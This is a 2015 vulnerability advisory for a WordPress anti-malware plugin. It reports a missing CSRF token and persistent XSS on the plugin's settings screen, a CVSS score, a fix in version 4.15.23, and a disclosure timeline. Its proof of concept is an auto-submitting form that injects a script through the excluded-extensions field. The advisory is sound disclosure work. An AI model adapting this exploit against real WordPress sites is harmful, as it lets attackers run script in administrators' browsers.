Anti-Malware and Brute-Force Security by ELI 4.15.22, Persistent XSS
The Anti-Malware and Brute-Force Security by ELI has two issues which we will cover in this report. The first is that no nonce (CSRF token) is utilized on the settings screen. This could potentially result in resource utilization (by performing a large number of scans simultaneously), should an administrative user be tricked in to visiting a malicious site. The second is that input is not correctly sanitized prior to output upon submission of the settings screen. This results in a Persistent XSS attack being triggered on the settings screen of this plugin.
Homepage
https://wordpress.org/support/view/plugin-reviews/gotmls
CVSS Score
4.9
CSSS Vector
(AV:N/AC:M/Au:S/C:P/I:P/A:N)
Attack Scope
remote
Authorization Required
None
Mitigation
Update to version 4.15.23.
Proof of Concept
If a page with the following FORM in is visited by an administrative user, it will result in a a Persistent XSS attack being triggered. In FireFox, this results in an immediate execution of the XSS payload. In Chrome, the XSS payload will be executed next time the user browses to the settings screen for this plugin.
<form id="form" method="POST" action="http://localhost/wp-admin/admin.php?page=GOTMLS-settings>
<input type="hidden" name="scan_type" value="Complete Scan"/>
<input type="hidden" name="check[]" value="potential"/>
<input type="hidden" name="scan_what" value="2"/>
<input type="hidden" name="scan_depth" value="1"/>
<input type="hidden" name="exclude_ext" value='png,jpg,jpeg,gif,bmp,tif,tiff,psd,fla,flv,mov,mp3,exe,zip,pdf,css,pot,po,mo,so,doc,docx,svg,ttf"><script>alert(1)</script>'/>
<input type="hidden" name="exclude_dir" value=""/>
<input type="hidden" name="skip_quarantine" value="1"/>
</form>
<script>
document.getElementById("form").submit();
</script>
Timeline
- 2015-05-18: Discovered
- 2015-05-18: Vendor notified
- 2015-05-18: Vendor responded
- 2015-05-18: Version 4.15.23 released – issue resolved
- 2015-05-25: Advisory released